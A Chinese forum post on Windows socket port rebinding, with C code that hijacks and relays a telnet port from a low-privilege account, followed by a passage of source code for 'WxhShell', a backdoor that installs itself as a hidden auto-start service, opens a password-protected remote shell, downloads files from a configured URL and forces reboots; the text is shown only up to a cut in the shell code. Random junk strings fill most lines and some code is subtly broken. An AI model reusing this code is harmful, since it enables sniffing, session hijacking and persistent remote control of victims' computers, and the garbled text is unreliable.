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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )k0bP1oGS  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }[D[ZLv  
NVJvCs)3f  
  saddr.sin_family = AF_INET; "AUY+ LN  
^9qncvV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;l}TUo  
vJmE}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [rE,fR   
TX*s T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {3 zq.e{  
c>=[|F{{e  
  这意味着什么?意味着可以进行如下的攻击: 4)Z78H%>  
6i=m1Yk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?%*Zgk!l7  
e,:@c3I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {#Mz4s`M  
5x4(5c5^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @qg=lt|(F  
1fEV^5I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @i6D&e=  
.CwMxuW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vV8 y_  
E83{4A4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  1=W>zC  
c_HYB/'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #sAEIk/  
%|l*=v  
  #include Wa ,[#H  
  #include }g>&l.2X  
  #include ]>*Z 1g;  
  #include    _g$6vx&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {9_CH<$W%U  
  int main() 4`!(M]u=  
  { +4B>gS[ F  
  WORD wVersionRequested; AR/`]"'  
  DWORD ret; g0_8:Gs}^  
  WSADATA wsaData; jNrGsIY$  
  BOOL val; DFqXZfjm  
  SOCKADDR_IN saddr; cp[4$lu  
  SOCKADDR_IN scaddr; H[!by)H  
  int err; m:X;dcq'3  
  SOCKET s; xjv?Z"X  
  SOCKET sc; Rz*%(2Vz  
  int caddsize; ML Id3#Q  
  HANDLE mt; E]_sl/`{od  
  DWORD tid;    5Lm ?  
  wVersionRequested = MAKEWORD( 2, 2 ); "mHSbG  
  err = WSAStartup( wVersionRequested, &wsaData ); pkBmAJb@  
  if ( err != 0 ) { /1o~x~g(b  
  printf("error!WSAStartup failed!\n"); L[##w?Xf.  
  return -1; '1/uf;OXIH  
  } NWb,$/7T  
  saddr.sin_family = AF_INET; O8 k$Uc  
   1_XdL?h#o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H.!M_aJH  
Sf lHSMFw  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b_cD >A  
  saddr.sin_port = htons(23); 0u -'{6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Jr 9\j3J{  
  { & 7JCPw  
  printf("error!socket failed!\n"); 95?$O~I  
  return -1; ;]vE"Mx$  
  } 5BTQJa  
  val = TRUE; 4 K)P Yk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zcP_-q]1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) lE$X9yIt  
  { sq-[<ryk  
  printf("error!setsockopt failed!\n"); Dgp"RUP  
  return -1; QTtcGU  
  } #pE : !D  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^MQ7*g6o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lN{-}f;TN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N\<M4 fn  
a:v&pj+|<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %k5^n0|*  
  { Fag%#jxI  
  ret=GetLastError(); /_aFQ>.4n  
  printf("error!bind failed!\n"); {p1#H`  
  return -1; ^e^M A.kM,  
  } |c dQJW  
  listen(s,2); $WrDZU 2z  
  while(1) NR^z!+oSR  
  { T+N%KRl  
  caddsize = sizeof(scaddr); Z?CmD ;W  
  //接受连接请求 w*\)]bTs  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >%'|@75K  
  if(sc!=INVALID_SOCKET) /nGsl<  
  { ~.yt  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "P"~/<:)  
  if(mt==NULL) NFU 5+X-c  
  { bC)d iC  
  printf("Thread Creat Failed!\n"); "*XR'9~7  
  break; L%U-MOS=  
  } "4oY F:h  
  } Ej8EQ% P  
  CloseHandle(mt); /wH]OD{  
  } iK= {pd  
  closesocket(s); 1[:?oEI  
  WSACleanup(); I[@}+p0  
  return 0; N[ z7<$$  
  }   yG2j!D  
  DWORD WINAPI ClientThread(LPVOID lpParam) Nt'(JAZ;  
  { G8Ns?  
  SOCKET ss = (SOCKET)lpParam; #3\F<AJ<VB  
  SOCKET sc; u])N^AY"sj  
  unsigned char buf[4096]; 50uNgLs  
  SOCKADDR_IN saddr; Ql3hq.E  
  long num; ~t.*B& A  
  DWORD val; 8;-a_VjA)  
  DWORD ret; &0*j nb  
  //如果是隐藏端口应用的话,可以在此处加一些判断 x.xfMM2n  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +8v^J8q0  
  saddr.sin_family = AF_INET; ^e8~eL+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ` SZ^~O  
  saddr.sin_port = htons(23); j%#n}H  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <p-R{}8  
  { -[".km  
  printf("error!socket failed!\n"); Iyz};7yVI  
  return -1; iRBUX`0  
  } g75)&U`>}  
  val = 100; T B1E1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Gt2NUGU  
  { Qf6Vj,~N  
  ret = GetLastError(); CAX|[  
  return -1; CES^ c-. k  
  } E,>/6AU  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O*`] ]w]  
  { VSL6tQp  
  ret = GetLastError(); G= !Gy.  
  return -1; 4b,N"w{v  
  } {%)bxk6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fnN"a Z  
  { aP>%iRk'J!  
  printf("error!socket connect failed!\n"); )lTkqz8v  
  closesocket(sc); wm=!tx\`k  
  closesocket(ss); =3_I;L w  
  return -1; ^Z$%OM,  
  } _qR1M):yJ  
  while(1) j7?53e  
  { hg/G7Ur"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j[.R|I|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >MauuL,.j  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4'cdV0]  
  num = recv(ss,buf,4096,0); CC;T[b&  
  if(num>0) c0sU1:e0  
  send(sc,buf,num,0); C1:efa<wV  
  else if(num==0) y9cW&rDH  
  break; hl(M0cxEWP  
  num = recv(sc,buf,4096,0); N2 wBH+3w  
  if(num>0) C{`+h163\  
  send(ss,buf,num,0); )[.FUx  
  else if(num==0) jSsbLa@  
  break; )+'FTz` c  
  } @{ _[bKg  
  closesocket(ss); -R?~Yysd7K  
  closesocket(sc); m}54yo  
  return 0 ; "7(2m  
  } iSCv/Gb:,  
\tc 4DS  
C (L1  
========================================================== F.<sKQ&A  
)$p<BLU  
下边附上一个代码,,WXhSHELL MDZ,a 0?4t  
D1}Bn2BM$  
========================================================== E:a_f!  
,_,Z<X/  
#include "stdafx.h" T>7$<ulm  
$!h21  
#include <stdio.h> <7NY.zvwk]  
#include <string.h> ae`*0wbv  
#include <windows.h> rvgArFf}]  
#include <winsock2.h> ] ?w hx &+  
#include <winsvc.h> 8=Xy19<;t  
#include <urlmon.h> ]vo&NE  
OSY$qL2  
#pragma comment (lib, "Ws2_32.lib") 'H+H4(  
#pragma comment (lib, "urlmon.lib") />=)=CGv;  
vq-Tq>  
#define MAX_USER   100 // 最大客户端连接数 iG()"^G  
#define BUF_SOCK   200 // sock buffer ]a F,r"  
#define KEY_BUFF   255 // 输入 buffer Cbv$O o*  
#EQwl6  
#define REBOOT     0   // 重启 u/-u l  
#define SHUTDOWN   1   // 关机 b+bgGLo  
2+y<&[A8U  
#define DEF_PORT   5000 // 监听端口 ];P$w.0  
1$2'N~`#U  
#define REG_LEN     16   // 注册表键长度 9#Gz2u$  
#define SVC_LEN     80   // NT服务名长度 mxt fKPb  
}SpjB  
// 从dll定义API scZdDbL6+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N/IDj2C4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \Ld/'Z;w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CT(VV6I\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SEu1M}+E  
FRqJ#yd]  
// wxhshell配置信息 do@`(f3 g  
struct WSCFG { |)`<D  
  int ws_port;         // 监听端口 MHar9)$}  
  char ws_passstr[REG_LEN]; // 口令 cBs:7Pnp%  
  int ws_autoins;       // 安装标记, 1=yes 0=no X%w`:c&  
  char ws_regname[REG_LEN]; // 注册表键名 1W*%}!&Gm  
  char ws_svcname[REG_LEN]; // 服务名 `/$yCXy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :$4 atm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +0) s {?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \ t4:(Jp 3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nQbF~   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @AET.qGC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X!#rw= Q  
v0W w~4|],  
}; M+4>l\   
fl%X>\i/7  
// default Wxhshell configuration "O@L IR7  
struct WSCFG wscfg={DEF_PORT, rV;X1x}l  
    "xuhuanlingzhe", r1dP9MT\8  
    1, pD;'uEFBQ  
    "Wxhshell", AT*J '37  
    "Wxhshell", 7 L2$(d4  
            "WxhShell Service", V/xGk9L~  
    "Wrsky Windows CmdShell Service", 3<">1] /,  
    "Please Input Your Password: ", k<xPg5  
  1, =*<Cw?Gc  
  "http://www.wrsky.com/wxhshell.exe", Xo^P=uf%  
  "Wxhshell.exe" 7:iTx;,v  
    }; _gDEIoBp  
eb%`ox@&  
// 消息定义模块 5M6`\LyU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9C9>V]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )lB 3U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ne>yFl"u  
char *msg_ws_ext="\n\rExit."; !Q(xA,p  
char *msg_ws_end="\n\rQuit."; 6_xPk`m  
char *msg_ws_boot="\n\rReboot..."; JAEn 72  
char *msg_ws_poff="\n\rShutdown..."; gT3i{iU  
char *msg_ws_down="\n\rSave to "; oTS/z\C"<u  
KA^r,Iw  
char *msg_ws_err="\n\rErr!"; phkfPvL{  
char *msg_ws_ok="\n\rOK!"; Am>^{qh9  
;J<K/YdI  
char ExeFile[MAX_PATH]; 4I&e_b< 30  
int nUser = 0; .%Pt[VQ  
HANDLE handles[MAX_USER]; a@+n  
int OsIsNt; W`auQO  
&USKudXmb  
SERVICE_STATUS       serviceStatus; fviq}.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i|M^QKvF  
N`o[iHUj \  
// 函数声明 V+04X"  
int Install(void); vSyR% j  
int Uninstall(void); pCOtk'n  
int DownloadFile(char *sURL, SOCKET wsh); {k:W?`  
int Boot(int flag); VSf<(udGr  
void HideProc(void); rt +a/:4+  
int GetOsVer(void); z#DgoA  
int Wxhshell(SOCKET wsl); E(%_aFx>/  
void TalkWithClient(void *cs); 9:[L WT&  
int CmdShell(SOCKET sock); j_w"HiNBA  
int StartFromService(void); i6Zsn#Z7)  
int StartWxhshell(LPSTR lpCmdLine); cviPCjM  
kF,_o/Jc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1^R[kaY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v2ab  
QY)hMo=|o8  
// 数据结构和表定义 Wycood*  
SERVICE_TABLE_ENTRY DispatchTable[] = Nj~3FL  
{ ePD~SO9*  
{wscfg.ws_svcname, NTServiceMain}, yv),>4_6  
{NULL, NULL} M9*#8>  
}; q-tm `t*7  
Ng=_#<  
// 自我安装 xMOq/" )  
int Install(void) yDl{18~zv  
{ nogdOGo  
  char svExeFile[MAX_PATH]; Uxll<z,  
  HKEY key; O%hmGW4  
  strcpy(svExeFile,ExeFile); Qf=+%-$Y  
on0MhW  
// 如果是win9x系统,修改注册表设为自启动 r0xmDJ@y  
if(!OsIsNt) { ]; CTr0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DERhmJ;>H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V:Z}cfR.7  
  RegCloseKey(key); L'A>IBrz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1\XR6q:2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >5%;NI5 G  
  RegCloseKey(key); z&R #j  
  return 0; 3_5]0:?]-  
    } ZjB]pG+  
  } z+~klv 3  
} }4dbS ;C<  
else { 8(jUCD  
\7\7i-Vo  
// 如果是NT以上系统,安装为系统服务 {D>@ZC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EklcnM|6  
if (schSCManager!=0) V{D~e0i/v  
{ d[( }  
  SC_HANDLE schService = CreateService z yh #ygH  
  ( -G|?Kl  
  schSCManager, ZYMacTeJjg  
  wscfg.ws_svcname, m,3H]  
  wscfg.ws_svcdisp, x@aWvrL  
  SERVICE_ALL_ACCESS, :"im2J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , He1hgJ)N  
  SERVICE_AUTO_START, VMZUJ2Yj/&  
  SERVICE_ERROR_NORMAL, <meQ  
  svExeFile, p#QR^|7"  
  NULL, #'qDNY@w}  
  NULL, 7]J7'!Iz  
  NULL, $URL7hrhU  
  NULL, CW+]Jv]"  
  NULL Ow3t2G  
  ); O_S%PX  
  if (schService!=0) |qAU\m"Pc  
  { 1 x'H #  
  CloseServiceHandle(schService); ;Yr?"|  
  CloseServiceHandle(schSCManager); 1*VArr6*6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2d60o~ E  
  strcat(svExeFile,wscfg.ws_svcname); e$t$,3~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jl)7Jd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =^5,ua6  
  RegCloseKey(key); {0Jpf[.f  
  return 0; ,qz:(Nr  
    } R5b!Ao  
  } 2m8|0E|@  
  CloseServiceHandle(schSCManager); j=U^+jAn  
} 6eB2mcV  
} bd$``(b`v  
j8cXv  
return 1; l'Kx#y$  
} x)0''}E~  
j7>a ^W  
// 自我卸载 X{BS]   
int Uninstall(void) s9\N{ar#  
{ Hgk@I;  
  HKEY key; UNO KK_  
;x|LB>.  
if(!OsIsNt) {  &e%eIz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a<W.}0ZY  
  RegDeleteValue(key,wscfg.ws_regname); #*~3gMI{=  
  RegCloseKey(key); =3H*%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $p)e.ZMgE  
  RegDeleteValue(key,wscfg.ws_regname); \; FE@  
  RegCloseKey(key); hf1h*x^J  
  return 0; esk~\!d  
  } yBYZ?gc  
} _7bQR7s  
} G pC*w ~  
else { TOge!Q>a  
F`e o3z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a)qlrtCl  
if (schSCManager!=0) 9\S,$A{{*  
{ ,T;T %/ S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mJYG k_ua  
  if (schService!=0) $MYAYj9r)  
  { 0qSf7"3f  
  if(DeleteService(schService)!=0) { \T:*tgU  
  CloseServiceHandle(schService); <KEVA?0>  
  CloseServiceHandle(schSCManager); {+CBThC  
  return 0; `#c36  
  } JF6=0  
  CloseServiceHandle(schService); Kj/{V  
  } ]q":ta!f  
  CloseServiceHandle(schSCManager); sD{d8s[(  
} {;^GKb+  
} 1>'xmp+#  
KGP*G BZr  
return 1; LKsK!X  
} mrGfu:r  
>MLP mER  
// 从指定url下载文件 D6vhW:t8?  
int DownloadFile(char *sURL, SOCKET wsh) w^=uq3X?  
{ M=t;t0  
  HRESULT hr; :\cid]y3  
char seps[]= "/"; qbq.r&F&  
char *token; >E\U$}WCG  
char *file; "59"HVV  
char myURL[MAX_PATH]; >^bSjE  
char myFILE[MAX_PATH]; ,\'E<O2T  
y.,li<  
strcpy(myURL,sURL); XQI!G_\+C  
  token=strtok(myURL,seps); &S9O:>=*  
  while(token!=NULL) pp1kcrE\M  
  { \}EJtux q  
    file=token; 3ahbv%y  
  token=strtok(NULL,seps); 5}|bDJ$%_  
  } ]wHXrB8vx  
QqCwyK0  
GetCurrentDirectory(MAX_PATH,myFILE); Z1N=tL  
strcat(myFILE, "\\"); & oj$h  
strcat(myFILE, file); )>r sX)  
  send(wsh,myFILE,strlen(myFILE),0); X ApSKJ  
send(wsh,"...",3,0); D&|HS!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v:zKn[;o  
  if(hr==S_OK) mBON>Z [4.  
return 0; ^"GDaMF  
else R d|M)  
return 1; G"|c_qX  
-40s  
} ::k cV'*  
y*vg9`$k  
// 系统电源模块 Y5R|)x  
int Boot(int flag) rvRIKc|}l  
{ {Z_?7J&z  
  HANDLE hToken; 9|x{z  
  TOKEN_PRIVILEGES tkp; xv 9 G%  
w1:%P36H  
  if(OsIsNt) { #m6W7_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }_,={<g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HbMD5(  
    tkp.PrivilegeCount = 1; <Url&Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7$A=|/'nSA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -/LB-t  
if(flag==REBOOT) { yo]8QO]97  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B]wfDUG  
  return 0; dz,4);Mg  
} 1pJ?YV  
else { 5$%CRm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~zc B@; :  
  return 0; CJf4b:SY@  
} a'|/=$  
  } n|Gw?@CU7  
  else { &]jCoBj+_  
if(flag==REBOOT) { w|( ix;pK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .,&6 x.  
  return 0; IiZXIG4H  
} *zl-R*bM$  
else { >fx/TSql:J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9HG"}CGZP  
  return 0; iL;{]A'0  
} t`G<}t  
} sHm :G_  
CW'<Nh  
return 1; 4R28S]Gb  
} nna boD  
[WN2ZQ  
// win9x进程隐藏模块 5@yBUwMSj  
void HideProc(void) >e^8fpgSo  
{ x>[f+Tc  
C3-I5q(V]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tr$d?  
  if ( hKernel != NULL ) Bs';!,=  
  { .Dt.7G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @X]J MicJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Je#vu`.\\  
    FreeLibrary(hKernel); Ie'iAY  
  } jFG Y`9Zw0  
vg-'MG  
return; szas(7kDS  
} =0mXTY1  
A"Sp7M[J  
// 获取操作系统版本 R~N'5#.*M  
int GetOsVer(void) 4$Ud4<  
{ j38>5DM6L  
  OSVERSIONINFO winfo; 7da~+(yhr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -MuKeCgi  
  GetVersionEx(&winfo); ~5 e 1&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mL3 Q  
  return 1; 3Nk )  
  else ?7Skk  
  return 0; ?Suv.!wfLl  
} ]Ag{#GJ5D  
(tz fyZ M  
// 客户端句柄模块 GpGq' 8|(  
int Wxhshell(SOCKET wsl) 0uhIJc'2  
{ Q0(3ps~H  
  SOCKET wsh; k?`Q\  
  struct sockaddr_in client; /9(8ML#E  
  DWORD myID; laA3v3*  
z.0!FUd  
  while(nUser<MAX_USER) ydf;g5OZ  
{ cBDOA<]r,  
  int nSize=sizeof(client); != u S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z8q*XpUH  
  if(wsh==INVALID_SOCKET) return 1; TM0DR'.  
l4Qv$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V2BsvR`  
if(handles[nUser]==0) +Q&CIo  
  closesocket(wsh);  H;Cv] -  
else k*o>ZpjNH  
  nUser++; 2br~Vn0N  
  } V<0J j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7!('+x(>  
)d7U3i  
  return 0; "j%L*J)  
} aKk0kC   
"-A@d&5.  
// 关闭 socket `!7QegJa"  
void CloseIt(SOCKET wsh) oxJ#NGD  
{ Rv@( [rn+  
closesocket(wsh); A =l1_8,`h  
nUser--; SS"Z>talw  
ExitThread(0); h f9yK6  
} QIu!o,B  
%tZ[wwt  
// 客户端请求句柄 ;7bY>zc(w  
void TalkWithClient(void *cs) Vho^a:Z9}W  
{ ^9 {r2d&c  
ZY-mUg  
  SOCKET wsh=(SOCKET)cs; V(<(k,8=  
  char pwd[SVC_LEN]; 0]MI*s>&  
  char cmd[KEY_BUFF]; y>|AX/n  
char chr[1]; 06fs,!Q@  
int i,j; n%I9l]  
~Pi CA  
  while (nUser < MAX_USER) { ?PDrj/: *  
&ZAc3@l[c  
if(wscfg.ws_passstr) { "MU)8$d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .8/W_iC92  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /<it2=  
  //ZeroMemory(pwd,KEY_BUFF); Zm#qW2a]P  
      i=0; Y"'k $jS-  
  while(i<SVC_LEN) { VDC"tSQ  
{6 brVN.V  
  // 设置超时 }I ^e:,{  
  fd_set FdRead; H`Ld,E2ex&  
  struct timeval TimeOut; r:9H>4m  
  FD_ZERO(&FdRead); ]-tAgNzl%  
  FD_SET(wsh,&FdRead); VO+3@d:  
  TimeOut.tv_sec=8; ["XS|"DM  
  TimeOut.tv_usec=0; 8,YxCm ie  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0/0rWqg /  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4Vrx9 sA1  
kH>^3( Q\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A3mSSc6  
  pwd=chr[0]; k80!!S=_>  
  if(chr[0]==0xd || chr[0]==0xa) { ;P2(C >|  
  pwd=0; <]kifiN#  
  break; ?8aPd"x  
  } jG~UyzWH;  
  i++; 2mVLR;s{_  
    } ~ZXAW~a}  
C! J6"j  
  // 如果是非法用户,关闭 socket ~n`G>Oe3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \|q.M0  
} W5a>6u=g,  
TM?7F2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E?3$ *t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B(U0 ~{7a  
}Q%fY&#(bp  
while(1) { 8I|2yvhP  
|q*s)8  
  ZeroMemory(cmd,KEY_BUFF); )uIH onXU  
NJTC+`Hm  
      // 自动支持客户端 telnet标准   N~@VZbS(6  
  j=0; fE&wtw{gi  
  while(j<KEY_BUFF) { 8GFA}_(^R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZeY kZzN  
  cmd[j]=chr[0]; +)7Yqh#$  
  if(chr[0]==0xa || chr[0]==0xd) { ]6 vqgu  
  cmd[j]=0; Lmw{ `R  
  break; \~`qE<Q/  
  } 0&|,HK  
  j++; "J (.dg]"  
    } *) ?Fo  
NK0hT,_  
  // 下载文件 bLpGrGJs  
  if(strstr(cmd,"http://")) { ?{M!syD<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9dXtugp|  
  if(DownloadFile(cmd,wsh)) 1O]27"9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uSi/|  
  else Je~d/,^WU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ E|L4E  
  } yNu%D$6u7  
  else { J>Uzd, /  
7Vxe]s  
    switch(cmd[0]) { {|Pz9a- :  
  fG\]&LFBU  
  // 帮助 hV4\#K[  
  case '?': { Mb0cdK?hA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sCF7K=a  
    break; xr\wOQ*`  
  } @YfCS8 eH  
  // 安装 Cq,hzi-  
  case 'i': { ^>fjURR  
    if(Install()) 7,N>u8cTh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Zy-X_r  
    else DG $._  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d^<a)>5h  
    break; ,Cckp! 6  
    } KGI0|Z]n~  
  // 卸载 7VwLyy  
  case 'r': { P"WnU'+  
    if(Uninstall()) h.W;Dmf6]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); );.q:"  
    else ;qF#!Kb5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6hs2B5)+  
    break; j!H\hj/]  
    } `y!6(xI  
  // 显示 wxhshell 所在路径  _,2P4  
  case 'p': { Nl^{w'X0h  
    char svExeFile[MAX_PATH]; #j{!&4M  
    strcpy(svExeFile,"\n\r"); L('G1J}  
      strcat(svExeFile,ExeFile); ,~_)Cf#CB  
        send(wsh,svExeFile,strlen(svExeFile),0); F+@E6I'g  
    break; a+CHrnU\;  
    } $*{$90 Q  
  // 重启 i-EFq@xl  
  case 'b': { c=T^)~$$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @9QtK69  
    if(Boot(REBOOT)) {A2SG#}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6*,8 H&  
    else { NgnHo\)  
    closesocket(wsh); T$'GFA  
    ExitThread(0); i7[CqObzc  
    } <(Wa8PY2(  
    break; Gd~Xvw,u  
    } ZN2g(  
  // 关机 t_q`wKDE  
  case 'd': { nJ|8#U7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .wD>0Ig  
